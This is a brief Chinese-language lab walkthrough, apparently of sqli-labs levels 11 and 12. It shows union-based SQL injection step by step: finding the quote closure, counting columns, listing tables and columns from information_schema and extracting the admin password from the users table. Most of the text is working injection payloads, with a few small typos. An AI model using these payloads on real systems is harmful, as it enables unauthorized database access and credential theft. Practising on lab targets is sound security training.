11关:判断注人类型:
输入‘报错,输入and1=2不报错,所以判读它是一个字符型注入
输入‘ #时不报错,说明闭合符是’ 注释符需要用#或者-- +
判断列数:
在这三列中的一列查询其数据库名:
查表名:
’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘security’ #
查一下users表的字段:
’ union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ #
得到列名为username和password
查数据:admin密码:
’ union select 1,password from users where username=‘admin’ #
密码是admin
第12题:
判断闭合符:“) #
查列数:
“) order by 2 #
无报错,为2列:
在这两列显示数据库名
“) select database(),version() #
通过数据库命和information——schema数据库,查库里的表名:
") union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘security’ #
查users表的字段:
") union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ #
查admin的password:
”) union select 1,password from users where username=‘admin’ #
密码是admin。